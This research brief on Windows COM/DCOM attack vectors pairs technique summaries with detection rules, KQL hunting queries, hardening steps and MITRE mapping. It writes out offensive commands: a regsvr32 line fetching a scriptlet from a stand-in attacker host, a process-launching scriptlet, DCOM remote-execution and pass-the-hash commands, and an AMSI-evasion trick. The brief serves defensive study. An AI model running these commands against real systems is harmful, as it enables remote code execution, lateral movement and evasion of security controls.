# RESEARCH BRIEF: Remaining COM Attack Vectors — Execution/Defense-Evasion, PPL Injection, Relay Chains & Detection Engineering

## 1. COM Scriptlets & Squiblydoo (T1218.010)
- Origin: Casey Smith (@subTee), April 2016 — `regsvr32.exe /i:` passes a string to `DllInstall`; signed **scrobj.dll** fetches/parses a COM scriptlet (.sct) from a URL. PoC gist `Backdoor.sct` (gist.github.com/subTee/24c7d8e1ff0f5602092f58cbb3f7d302).
- Canonical: `regsvr32.exe /s /n /u /i:https://attacker/payload.sct scrobj.dll` — `/u`+`/i:` form needs no registry writes and no admin.
- Scriptlet skeleton:
```xml
<?XML version="1.0"?>
<scriptlet>
  <registration progid="TESTING" classid="{A1112221-0000-0000-3000-000DA00DABFC}">
    <script language="JScript"><![CDATA[
      var foo = new ActiveXObject("WScript.Shell").Run("calc.exe");
    ]]></script>
  </registration>
</scriptlet>
```
- Why AWL bypass: every binary (regsvr32 → scrobj.dll → jscript/vbscript.dll) is Microsoft-signed; regsvr32 is proxy-aware (WinHTTP). MITRE T1218.010.
- ITW: Leviathan/APT40, APT19, Deep Panda, TA551 (Valak), QakBot/Emotet/Dridex, Koadic, Covenant, Metasploit web_delivery.
- `/i:` also accepts local paths/UNC; .sct = Windows Script Component format shared with .wsc and the `script:` moniker (TypeLib hijack).

## 1.2 DotNetToJScript (Forshaw, 2017)
1. Builds bound delegate `Delegate.CreateDelegate(typeof(XmlValueGetter), assemblyBytes, Assembly.Load(byte[]))`.
2. Wraps in COM-invocable `HeaderHandler` delegate (contra-variance abuse) → `DynamicInvoke`.
3. BinaryFormatter-serializes delegate graph → Base64 into JScript/VBScript/HTA template with `entry_class` (default TestClass).
4. Runtime: script instantiates COM-visible mscorlib classes via ActiveXObject ProgIDs (`System.Runtime.Serialization.Formatters.Binary.BinaryFormatter`, `System.Collections.ArrayList`, `System.Text.ASCIIEncoding`, `System.Security.Cryptography.FromBase64Transform`):
```js
var fmt = new ActiveXObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter");
var d   = fmt.Deserialize_2(stm);
var o   = d.DynamicInvoke(al.ToArray())   // -> Assembly.Load(byte[])
             .CreateInstance(entry_class); // constructor runs
```
5. No managed assembly on disk — engine of SharpShooter, CACTUSTORCH, GreatSCT, SuperSharpShooter, Outlook-CreateObject DCOM delivery (enigma0x3 Nov 2017).

## 1.3 AMSI changes
- AMSI integrated into JScript/VBScript engines, WSH, PowerShell, VBA (2018), WMI, .NET 4.8+ (scans `Assembly.Load(byte[])`, Apr 2019), UAC (`Microsoft-Antimalware-UacScan` ETW 1201). scrobj.dll hosts WSH engines → scriptlet content scanned.
- Jun 2018: AMSI signatures for default DotNetToJScript/SharpShooter output. Forshaw counter: "Disabling AMSI in JScript with One Simple Trick" — copy wscript.exe as amsi.dll; `LoadLibraryEx("amsi.dll")` returns loaded EXE image, AmsiInitialize fails, WSH runs unscanned.
- DotNetToJScript defaults to CLR v2 (no AMSI); v4 scanned. Residual: ETW Microsoft-Windows-DotNETRuntime `{e13c0d23-ccbc-4e12-931b-d9cc2eee27e4}` assembly-load/JIT in wscript/dllhost.

## 2. COM for Local Code Execution (LOLBIN-style)
No "LOLCOM" project exists. Canon: enigma0x3 2017, bohops 2018, Tsukerman/Cybereason 2018-19, rvrsh3ll Invoke-DCOM.ps1, FireEye "Hunting COM Objects" (Jun 2019, 2 parts), Axel Boesenach hackdefense enumeration paper, rasta-mouse CsDCOM/CheeseDCOM.

| Object | CLSID/ProgID | Method | Host | Notes |
|---|---|---|---|---|
| MMC20.Application | `{49B2791A-B1AE-4C90-9B8E-E860BA07F889}` | `Document.ActiveView.ExecuteShellCommand(cmd,dir,params,"7")` | mmc.exe -Embedding | local+remote; admin required (AppID launch perms) |
| ShellWindows | `{9BA05972-F6A8-11CF-A442-00A0C90A8F39}` | `Document.Application.ShellExecute(...)`; Navigate/Navigate2 | existing explorer.exe window (medium IL) | usable from medium IL locally — code runs inside explorer.exe |
| ShellBrowserWindow | `{C08AFD90-F2A1-11D1-8455-00A0C91F3880}` | same | new explorer.exe if no window | local medium-IL exec; remote needs admin |
| ExcelDDE | ProgID Excel.Application (`{00024500-0000-0000-C000-000000000046}`) | `DDEInitiate("cmd","/c ...")` | EXCEL.EXE | no malicious doc needed; needs Office |
| Excel variants | same | `RegisterXLL`, `ExecuteExcel4Macro` (XLM) | EXCEL.EXE | enigma0x3 Sep 2017 |
| InternetExplorer.Application | `{0002DF01-0000-0000-C000-000000000046}` | Navigate2 to UNC/local exe | iexplore.exe | IE prompts limit reliability |
| htafile (LethalHTA) | ProgID htafile | remote instantiation → mshta fetches .hta | mshta.exe | codewhitesec Jul 2018 |
| Outlook.Application | ProgID | `CreateObject("Wscript.Shell")` + DotNetToJScript | OUTLOOK.EXE | enigma0x3 Nov 2017 |
| Utility objects | ProgIDs | `WScript.Shell.Run`, `Shell.Application.ShellExecute`, `Schedule.Service`, `WbemScripting.SWbemLocator` | various | standard local exec primitives |
| Visio.Application | ProgID | macro-less exec paths | VISIO.EXE | Tsukerman/CheeseDCOM lists |

PowerShell idiom (detect this):
```powershell
$com = [Type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","target")
$obj = [System.Activator]::CreateInstance($com)
$obj.Document.Application.ShellExecute("cmd.exe","/c calc","c:\windows\system32",$null,0)
# MMC20: $obj.Document.ActiveView.ExecuteShellCommand($cmd,$null,$null,"7")
# ExcelDDE: $obj.DDEInitiate("cmd","/c calc")
```
Tooling: Invoke-DCOM.ps1 (rvrsh3ll), impacket dcomexec.py (`-object MMC20|ShellWindows|ShellBrowserWindow`, semi-interactive, output via temp file over ADMIN$), CrackMapExec dcom, CsDCOM/CheeseDCOM. MITRE T1559.001 (local) + T1021.003 (remote).

## 3. PPL Injection via COM (Forshaw, P0 Oct/Nov 2018)
First public no-admin userland code exec inside PPL up to PPL-WindowsTCB and full PP-WindowsTCB. Established type-library-substitution → type-confusion primitive later used by PPLdump/PPLmedic (itm4n) and IRundown::DoCallback (MDSec 2022).

### Part 1 — PPL via COM type confusion + KnownDlls
1. Target: `.NET Runtime Optimization Service` (mscorsvw.exe, NGEN) — runs PPL-CodeGen (cached signing levels for UMCI).
2. COM exposure: `ngen install x.dll` → mscorsvw marshals private .NET-implemented class factory (`CorSvcBindToWorkerClassFactory`) over named pipe via CoMarshalInterface — COM server inside PPL.
3. Bug class: COM proxies/stubs generated at runtime from a Type Library; typelib registration in HKLM but `HKCU\Software\Classes\TypeLib` shadows it. Modified typelib changes signature (`[out] long*` → `[in] long` on `ICorSvcPooledWorker::CanReuseProcess`) → server stub unmarshals attacker integer as pointer → type confusion → controlled write of 0 to arbitrary address.
4. Data-only weaponization: target loader global `LdrpKnownDllDirectoryHandle`; pre-fill child PPL handle table with inheritable handles to fake KnownDlls object directory; 32-bit write zeroes top 16 bits of real handle → aliases to fake → induced DLL load maps unsigned code into PPL, DllMain runs. No thread injection, no ROP, no CFG bypass.
5. To PPL-WinTcb: CiSetFileCache cached-signing backdoor → cache-sign arbitrary DLL as Microsoft/WinTcb.

### Part 2 — full PP-WindowsTCB via IRundown::DoCallback
1. COM hijack CLSID `{07FC2B94-5285-417E-8AC3-C2CE5240B0FA}` with ThreadingModel="Free" (HKCU) inside PP target; inherit fake KnownDlls handles.
2. Start WerFaultSecure.exe at PP-WindowsTCB dumping an AppContainer process; use vulnerable Win8.1 WerFaultSecure (unencrypted dumps).
3. Parse dump for per-process COM security secret, context pointer, IPID of undocumented `IRundown` (present in every COM-remoting process).
4. `IRundown::DoCallback(fn, param)` executes arbitrary function with one pointer arg inside PP: overwrite `LdrpKnownDllDirectoryHandle`, then `LoadLibrary` fake KnownDll. Works Win10 through 1809. Corollary: arbitrary memory read in COM-remoting process → arbitrary execute (no thread creation, no allocation APIs).

### Microsoft response
- PPL is not a security boundary per MS servicing criteria → no CVEs/bounties for PPL-only.
- Fixed anyway: JScript/scriptlet PPL injection (P0 Issue 1336) fixed Win10 1803 — CI.DLL (`CipMitigatePPLBypassThroughInterpreters`) blocks `scrobj.dll, scrrun.dll, jscript.dll, jscript9.dll, vbscript.dll` in protected processes. CVE-2017-11830 — CiSetFileCache TOCTOU SFB (P0 Issue 1332).
- July 2022: Microsoft stopped initializing `\KnownDlls` in PPL (killed PPLdump variant) — but signature-not-verified-on-section-map remains; PPLmedic (2023) re-proved.
- Follow-ons: itm4n PPLdump/PPLmedic/PPLKiller; gabriellandau PPLFault; MDSec IRundown::DoCallback injection (Apr 2022); ANGRYORCHARD.

## 4. Trapped COM Objects (Forshaw, Jan 2025) — defense-evasion angle
Source: "Windows Bug Class: Accessing Trapped COM Objects with IDispatch" (googleprojectzero.blogspot.com/2025/01/..., commonly reported Feb 2025).
1. Client activates OOP COM server → marshal-by-reference object trapped server-side; calls execute server-side.
2. Via `IDispatch::GetTypeInfo` → `ITypeLib`, enumerate server-referenced typelibs — incl. stdole (`{00020430-0000-0000-C000-000000000046}`, stdole2.tlb). Request new `StdFont` (`{0BE35203-8F91-11CE-9DE3-00AA004BB851}`) — resolved in server process context: another trapped object.
3. Redirect StdFont to .NET: hijack StdFont COM registration (HKCU locally; remote registry remotely) → activation yields `.NET System.Object` CCW. Set `AllowDCOMReflection=1` + `OnlyUseLatestCLR=1` under `Software\Microsoft\.NETFramework` → .NET reflection usable over DCOM.
4. Reflection chain: `GetType()` → `Assembly` → `Assembly.Load(byte[])` → arbitrary managed code inside server-side DCOM process — fileless; mscoree/clr/clrjit are Microsoft-signed → PPL image-signature compatible.
5. Demo target: `WaaSRemediationAgent` COM class hosted by WaaSMedicSvc (Windows Update Medic Service) — PPL (PsProtectedSignerWindows-Light) svchost as SYSTEM → code exec inside PPL/SYSTEM.
6. Microsoft: not a security-boundary violation (admin→PPL not defended) → detection problem, no CVE (as of writing).
IBM X-Force (Tran & Bayne, Mar 2025) "Fileless lateral movement with trapped COM objects" + PoC ForsHops (github.com/xforcered/ForsHops): 1) remote-set AllowDCOMReflection/OnlyUseLatestCLR 2) remote hijack StdFont → System.Object 3) create WaaSRemediationAgent over DCOM 4) resolve trapped StdFont→System.Object in remote WaaSMedicSvc PPL 5) Assembly.Load → SYSTEM inside protected signed process, zero files. Only disk artifacts: registry values.
Outflank (Kyle Avery, Jul 2025): WaaSMedicSvc/PPL approach fails on updated Win11 (CLR can't load into that PPL) — target-specific, not class-specific; LLM-assisted registry enumeration found alternative trapped-COM classes. T3nb3w ComDotNetExploit = local PPL-injection PoC variant.

## 5. DCOM + NTLM Relay
### 5.1 COM as coercion trigger
- Forshaw local NTLM reflection (P0 Apr 2015, fixed): marshaled OBJREF_STANDARD with attacker-chosen RPC binding strings → DCOM client binds to fake OXID resolver, performs NTLM auth → reflected to local DCOM activation → SYSTEM token. Birthed potato family (T1134.001).
- RemotePotato0 (Cocomazzi & Pierini, 2021, github.com/antonioCoco/RemotePotato0): marshal IStorage (`CoGetInstanceFromIStorage`), hand OBJREF to remote DCOM activator for CLSID running as Interactive User (default PoC `{5167B42F-C111-47A1-ACC4-8EABE61B0B54}`; BrowserBroker `{0002DF02-0000-0000-C000-000000000046}`) → victim resolves OXID against attacker resolver (135 redirect) → authenticated ResolveOxid2/IRemUnknown2 calls to attacker → relay RPC/TCP → HTTP wrapper → ntlmrelayx → LDAP/AD CS (ESC8)/SMB → DA. Requires interactively logged-on privileged user.
- RemoteMonologue (IBM X-Force, Andrew Oliveau, Apr 2025, github.com/3lp4tr0n/RemoteMonologue): with local admin, SeTakeOwnershipPrivilege on `HKCR\AppID\{AppID}` → set `RunAs = "Interactive User"` → remotely instantiate → invoke method/property dereferencing attacker UNC → logged-on user's NTLM (or machine$) coerced. Objects: ServerDataCollectorSet `{03837546-098B-11D8-9414-505054503030}` (DataManager.Extract UNC param), FileSystemImage `{2C941FC5-975B-59BE-A960-9A2A262853A5}` (WorkingDirectory property), UpdateSession `{4CB43D7F-7EEE-4906-8698-60DA1C38F2FE}` (AddScanPackageService), MSTSWebProxy. Extras: NetNTLMv1 downgrade (LmCompatibilityLevel ≤ 2), WebClient abuse (`\\host@80\file`).
### 5.2 OXID resolver abuse
`IOXIDResolver`/`IObjectExporter` (UUID `{99FCFEC4-5260-101B-BBCB-00AA0021347A}`, port 135/epmap): unauthenticated `ServerAlive2` leaks network interfaces (impacket oxidresolver); OXID resolution is what every potato/coercion abuses.
### 5.3 PetitPotam/PrinterBug → DCOM?
PetitPotam (MS-EFSR, CVE-2021-36942) and PrinterBug (MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex)) coerce machine-account auth over SMB/named-pipe RPC — NOT DCOM. Coerced auth relays to LDAP(S)/AD CS, not DCOM activation, because DCOM as relay target closed: CVE-2021-26414 "DCOM Hardening" (KB5004442) requires RPC_C_AUTHN_LEVEL_PKT_INTEGRITY+ for activation (opt-in Jun 2021 → default Jun 2022 → mandatory Mar 2023; `HKLM\SOFTWARE\Microsoft\Ole\AppCompat\RequireIntegrityActivationAuthenticationLevel`). New DistributedCOM events: 10036 (server-side refusal below PKT_INTEGRITY, logs user/SID/client IP), 10037/10038 (client-side too-low auth level). **"You relay FROM DCOM, not TO DCOM."**
### 5.4 CVE-2017-0100
MS17-012 (Mar 2017) "Windows HelpPane EoP": DCOM object in Helppane.exe configured RunAs=Interactive User failed to validate clients → LPE (CVSS 7.8, Win7-10/2008R2-2016). RunAs=Interactive User DCOM objects = decade-long bug class; RemoteMonologue is the 2025 remote re-weaponization.
### 5.5 PtH with DCOM: YES
`dcomexec.py -hashes LMHASH:NTHASH user@target` (MMC20/ShellWindows/ShellBrowserWindow); CrackMapExec `-dcom`. Needs NTLM allowed, remote Launch/Activation rights (default Administrators), LocalAccountTokenFilterPolicy=1 for local non-RID500 accounts; KB5004442 compatible (impacket speaks PKT_INTEGRITY). Maps T1550.002 + T1021.003.

## 6. AMSI/ETW and COM
- Scriptlet content: YES (AmsiScanBuffer in jscript/vbscript; second scan per CreateObject'd block). Network fetch not scanned; executed script is.
- .NET payload: conditional (CLR 4.8+ scans in-memory Assembly.Load; CLR 2.0 no hook). PowerShell DCOM one-liners fully scanned (4104).
- Type-confusion/trapped-COM native stages: NO direct AMSI — registry+RPC+reflection; use ETW/registry/network.
- Threat-Intelligence ETW `{f4e1897c-bb5d-5668-f1d8-040f4d8dd344}` (PPL-required consumers) sees injection-style memory behavior.

ETW providers (verified GUIDs):
| Provider | GUID | Use |
|---|---|---|
| Microsoft-Windows-RPC | `{6AD52B32-D609-4BE9-AE07-CE8DAE937E39}` (Debug) | EID 5/6 RPC client/server call start: InterfaceUuid, OpNum, Protocol, Endpoint (SpecterOps "Utilizing RPC Telemetry") |
| Microsoft-Windows-RPC-Events | `{F4AED7C7-A898-4627-B053-44A7CAA12FCD}` | RPC operational |
| Microsoft-Windows-RPCSS | `{D8975F88-7DDB-4ED0-91BF-3ADF48C48E0C}` | RPCSS/DcomLaunch host |
| Microsoft-Windows-COMRuntime | `{BF406804-6AFA-46E7-8A48-6C357E1D6D61}` | COM activation/runtime (verbose) |
| Microsoft-Windows-COM-Perf | `{B8D6861B-D20F-4EEC-BBAE-87E0DD80602B}` | perf |
| Microsoft-Windows-COM-RundownInstrumentation | `{2957313D-FCAA-5D4A-2F69-32CE5F0AC44E}` | rundown |
| Microsoft-Windows-DotNETRuntime | `{E13C0D23-CCBC-4E12-931B-D9CC2EEE27E4}` | assembly loads/JIT in COM hosts |
| Microsoft-Windows-Threat-Intelligence | `{F4E1897C-BB5D-5668-F1D8-040F4D8DD344}` | injection behaviors |

DCOM interface UUIDs to key on: IRemoteSCMActivator `{4D9F4AB8-7D1C-11CF-861E-0020AF6E7C57}`; ISystemActivator `{000001A0-0000-0000-C000-000000000046}`; IObjectExporter/IOXIDResolver `{99FCFEC4-5260-101B-BBCB-00AA0021347A}`; IRemUnknown `{00000131-0000-0000-C000-000000000046}`; IRemUnknown2 `{00000143-0000-0000-C000-000000000046}`; IUnknown `{00000000-0000-0000-C000-000000000046}`. Chain context: MS-EFSR `{C681D488-D850-11D0-8C52-00C04FD90F7E}`, MS-RPRN `{AE33069B-A2A8-46EE-A235-DDFD339BE281}`/`{12345678-1234-ABCD-EF00-0123456789AB}`.

EDR view of DCOM activation: 1) inbound 135 → epmap → dynamic port; RemoteCreateInstance inside svchost -k DcomLaunch (raw RPC ETW lacks remote IP — Zero Networks gap) 2) Security 4624 Type 3 NTLM logon; 4672 if privileged 3) DcomLaunch spawns server: `mmc.exe -Embedding`, explorer.exe, `dllhost.exe /Processid:{CLSID}`, `EXCEL.EXE /automation -Embedding` — lineage anchor 4) AppID/CLSID registry reads 5) outbound callbacks. RPC Firewall (Zero Networks) closes gap: per-call UUID/opnum/src-IP/principal in RPCFW log EID 3; Sigma "Remote DCOM/WMI Lateral Movement" (68050b10-e477-4377-a99b-3721b422d6ef). Native RPC filter event 5712 unreliable.

## 7. Detection master list
Sysmon:
- EID 1: regsvr32 `/i:` + URL + scrobj.dll; `mmc.exe -Embedding` child of svchost (Sigma f1f3bf22-deb2-418d-8cce-e1a45e46a5bd); anomalous `dllhost.exe /Processid:`; explorer/EXCEL spawning cmd/powershell; wscript/cscript/mshta with .sct; PowerShell with GetTypeFromCLSID/GetTypeFromProgID/Activator]::CreateInstance/ExecuteShellCommand/ShellExecute/DDEInitiate.
- EID 3: regsvr32 outbound HTTP/S (near-zero FP); workstation→workstation TCP/135 + dynamic ports; mmc/excel/dllhost unexpected outbound.
- EID 7: scrobj.dll in regsvr32; jscript/vbscript/scrrun in unusual hosts; clr.dll/clrjit.dll/mscoree.dll in dllhost/svchost/mmc/explorer (DotNetToJScript & trapped COM).
- EID 8: COM injection mostly does NOT trip CreateRemoteThread — teach as evasion gap.
- EID 11: .sct drops.
- EID 12/13/14: writes under `HKCU\Software\Classes\CLSID\{...}\(InprocServer32|LocalServer32|TreatAs|ProgID)` and `...\TypeLib\{...}`; `HKLM\SOFTWARE\Classes\AppID\{...}\RunAs` (RemoteMonologue); `HKLM\SOFTWARE\Microsoft\Ole\AppCompat\*` (hardening tamper); `(HKLM|HKCU)\SOFTWARE\Microsoft\.NETFramework\` values **AllowDCOMReflection, OnlyUseLatestCLR** (trapped COM — high fidelity); `HKLM\SYSTEM\CurrentControlSet\Control\Lsa\LmCompatibilityLevel` (NTLMv1 downgrade).
- EID 17/18: named pipes (mscorsvw marshaling).
- EID 22: regsvr32 DNS for scriptlet hosts.
Windows events: 4688 (mirror Sysmon 1); 4624 Type 3; 4625; 4648; 4672; 4657/4663 with SACLs on Classes\AppID\CLSID; 5156/5158 WFP (noisy); 5712 unreliable; DistributedCOM 10016 (permission denied — probing), 10036/10037/10038 (KB5004442 refusals), 10006/10009/10028; PowerShell 4104 (ExecuteShellCommand/GetTypeFromCLSID — Splunk "Remote Process Instantiation via DCOM and PowerShell Script Block"); AppLocker 8004.
Named content: Sigma proc_creation_win_mmc_mmc20_lateral_movement.yml; proc_creation_win_regsvr32_squiblydoo.yml; rpc_firewall_remote_dcom_or_wmi.yml; registry_set_persistence_com_hijacking_builtin.yml; CAR-2019-04-003 (Squiblydoo). Splunk: "Remote Process Instantiation via DCOM and PowerShell" (d4f42098-4680-11ec-ad07-3e22fbd008af), "...Script Block" (fa1c3040-4680-11ec-a618-3e22fbd008af), "Mmc LOLBAS Execution Process Spawn" (f6601940-4c74-11ec-b9b7-3e22fbd008af), "Possible Lateral Movement PowerShell Spawn" (22282a2d-dc19-4b88-ac61-6c86ff92904f). Elastic: prebuilt "Incoming DCOM Lateral Movement with MMC"; blog "How to hunt: Detecting persistence and evasion with COM". Atomic T1021.003 tests.

KQL hunting queries:
```kusto
// DCOM lateral movement
DeviceProcessEvents
| where InitiatingProcessFileName =~ "svchost.exe"
| where InitiatingProcessCommandLine has "DcomLaunch"
| where FileName in~ ("mmc.exe","explorer.exe","dllhost.exe","excel.exe","mshta.exe")

// Squiblydoo
DeviceProcessEvents
| where FileName =~ "regsvr32.exe"
| where ProcessCommandLine has_all ("scrobj.dll","/i:") and ProcessCommandLine has_any ("http","https","ftp")

// COM hijack registry
DeviceRegistryEvents
| where RegistryKey has @"Software\Classes\CLSID\"
| where RegistryKey has_any ("InprocServer32","LocalServer32","TreatAs") or RegistryKey has @"\TypeLib\"
| where ActionType has "SetValue" or ActionType has "Create"

// Trapped COM artifacts
DeviceRegistryEvents
| where RegistryKey has @"SOFTWARE\Microsoft\.NETFramework"
| where RegistryValueName in~ ("AllowDCOMReflection","OnlyUseLatestCLR") and RegistryValueData == 1

// CLR in COM hosts
DeviceImageLoadEvents
| where FileName in~ ("clr.dll","clrjit.dll","mscoree.dll")
| where InitiatingProcessFileName in~ ("dllhost.exe","svchost.exe","mmc.exe","explorer.exe","wscript.exe","cscript.exe")

// RunAs tampering (RemoteMonologue)
DeviceRegistryEvents
| where RegistryKey has @"SOFTWARE\Classes\AppID\" and RegistryValueName =~ "RunAs"
```
UAC elevated-COM hunting: medium-IL parent → high-IL child without consent.exe; auto-elevated hosts (fodhelper, computerdefaults, sdclt, eventvwr, slui) with unusual children; writes to HKCU\Software\Classes\ms-settings\Shell\Open\command, mscfile\shell\open\command; CMSTPLUA `{3E5FC7F9-9A51-4367-9063-A120244FBEC7}` instantiation; "Elevation:Administrator!new:" strings.

Baseline/hardening: inventory legit DCOM (SCCM, backup, OPC, AV mgmt) → deny rest via dcomcnfg AppID Launch ACLs (MMC20 + Office CLSIDs first); segment 135+dynamic to mgmt hosts, block workstation↔workstation 135; enforce KB5004442 (=1; alert on =0), LDAP signing+channel binding, SMB signing, AD CS EPA; AppLocker/WDAC block scrobj.dll script execution, disable WebClient, Office ASR; NTLMv1 off (LmCompatibilityLevel=5); LSA Protection; RPC Firewall on servers/DCs; collect RPC ETW 5/6 on critical hosts; sysmon-modular + SwiftOnSecurity configs.

## 8. MITRE mapping (verified)
| ID | Name | COM content |
|---|---|---|
| T1559.001 | IPC: COM and DCOM | local execution objects, scriptlets, DotNetToJScript, trapped COM |
| T1021.003 | Remote Services: DCOM | MMC20/ShellWindows/ShellBrowserWindow/ExcelDDE remoting, dcomexec, ForsHops, RemoteMonologue |
| T1546.015 | Event Triggered Execution: COM Hijacking | CLSID/InprocServer32/LocalServer32/TreatAs; TypeLib + script: moniker variant (explicit in ATT&CK) |
| T1548.002 | Abuse Elevation Control: Bypass UAC | elevated/auto-elevated COM (CMSTPLUA, elevation moniker) |
| T1218.010 | System Binary Proxy Execution: Regsvr32 | Squiblydoo |
| T1055 | Process Injection | PPL injection, IRundown::DoCallback, trapped-COM in-PPL |
| T1620 | Reflective Code Loading | Assembly.Load(byte[]) via COM |
| T1112 | Modify Registry | CLSID/TypeLib/AppID/RunAs/.NETFramework writes |
| T1550.002 | Pass the Hash | dcomexec -hashes |
| T1134.001 | Token Impersonation/Theft | potato lineage |
| T1557.001 | LLMNR/NBT-NS Poisoning and SMB Relay | relay chains with DCOM trigger |
| T1003.001 | LSASS Memory | PPL bypass end-goal |
| T1059.005/.007 | VB/JavaScript | scriptlet bodies |
| T1027 | Obfuscation | Base64 .NET blobs |
| T1047 | WMI | WMI runs over DCOM (SWbemLocator) |
| T1068 | Exploitation for Privilege Escalation | CVE-2017-0100, PPL chain components |

## Diagrams to draw
1. Squiblydoo+DotNetToJScript chain with AMSI scan points and "all signed / no registry / no file" annotations.
2. Type-confusion PPL injection: HKCU typelib shadow → mscorsvw PPL stub integer-as-pointer → LdrpKnownDllDirectoryHandle alias → unsigned DLL in PPL; escalation box CiSetFileCache → WinTcb; Part 2 IRundown::DoCallback; fixes timeline (1803 CI blocklist, CVE-2017-11830, Jul 2022 KnownDlls removal, "PPL ≠ boundary").
3. NTLM relay chain with COM as trigger (IStorage OBJREF → OXID → auth → RPC→HTTP → ntlmrelayx → LDAP/ADCS/SMB); annotate KB5004442 + events 10036-38.
4. Trapped COM chain local + IBM remote variant.
5. Detection data-source map with blind spots (no remote IP in raw RPC ETW; no CreateRemoteThread; CLR-v2 AMSI gap).

## REFERENCES (title — URL)
Primary: subt0x11.blogspot.com/2016/04/bypass-application-whitelisting-script.html (+ gist 24c7d8e1ff0f5602092f58cbb3f7d302) · github.com/tyranid/DotNetToJScript · tiraniddo.dev/2018/06/disabling-amsi-in-jscript-with-one.html · mdsec.co.uk/2018/06/freestyling-with-sharpshooter-v1-0/ · googleprojectzero.blogspot.com/2018/10/injecting-code-into-windows-protected.html · googleprojectzero.blogspot.com/2018/11/injecting-code-into-windows-protected.html · bugs.chromium.org/p/project-zero/issues/detail?id=1332 · itm4n.github.io/bypassing-ppl-in-userland-again/ · github.com/itm4n/PPLmedic · mdsec.co.uk/2022/04/process-injection-via-component-object-model-com-irundowndocallback/ · googleprojectzero.blogspot.com/2025/01/windows-bug-class-accessing-trapped-com.html · ibm.com/think/news/fileless-lateral-movement-trapped-com-objects · github.com/xforcered/ForsHops · outflank.nl/blog/2025/07/29/accelerating-offensive-research-with-llm/ · ibm.com/think/x-force/remotemonologue-weaponizing-dcom-ntlm-authentication-coercions · github.com/3lp4tr0n/RemoteMonologue · github.com/antonioCoco/RemotePotato0 · nvd.nist.gov/vuln/detail/CVE-2017-0100 · support.microsoft.com KB5004442 (CVE-2021-26414) · github.com/fortra/impacket
LOLCOM corpus: enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/ · enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/ · enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/ · enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/ · bohops.com/2018/04/28/abusing-dcom-for-yet-another-lateral-movement-technique/ · bohops.com/2018/03/17/abusing-exported-functions-and-exposed-dcom-interfaces-for-pass-thru-command-execution-and-lateral-movement/ · cybereason.com/blog/dcom-lateral-movement-techniques · cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom · github.com/rvrsh3ll/Misc-Powershell-Scripts (Invoke-DCOM.ps1) · codewhitesec.blogspot.com/2018/07/lethalhta.html · fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html (+part-two) · hackdefense.com Axel Boesenach DCOM enumeration paper · oddvar.moe AppLocker case study
AMSI/ETW/RPC: redcanary.com/blog/amsi/ · posts.specterops.io/utilizing-rpc-telemetry-7af9ea08a1d5 · zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall · github.com/zeronetworks/rpcfirewall · ftrsec.github.io/Blog/rpc-detection/ · ETW GUID gist guitarrapc/35a94b908bad677a7310
Detection: detection.fyi (MMC20, RPC firewall rules) · github.com/SigmaHQ/sigma registry_set_persistence_com_hijacking_builtin.yml · intezer.com Squiblydoo blog · car.mitre.org/analytics/CAR-2019-04-003/ · research.splunk.com (DCOM analytics) · elastic.co/blog/how-hunt-detecting-persistence-evasion-com · blog.gdatasoftware.com/2014/10/23941 · Atomic T1021.003 · SwiftOnSecurity/sysmon-config · olafhartong/sysmon-modular · detect.fyi/how-to-detect-dcom-lateral-movement
MITRE: T1559.001, T1021.003, T1546.015, T1548.002, T1218.010, T1055, T1620, T1550.002, T1134.001, T1557.001 (attack.mitre.org/techniques/...)
Caveats: no LOLCOM project; trapped-COM blog is Jan 2025 by URL ("early 2025" in deck); no CVE for trapped-COM or 2018 PPL type-confusion (PPL not a boundary — inference); WaaSRemediationAgent CLSID not public — refer by class name; raw RPC ETW lacks remote IP (use RPC Firewall).
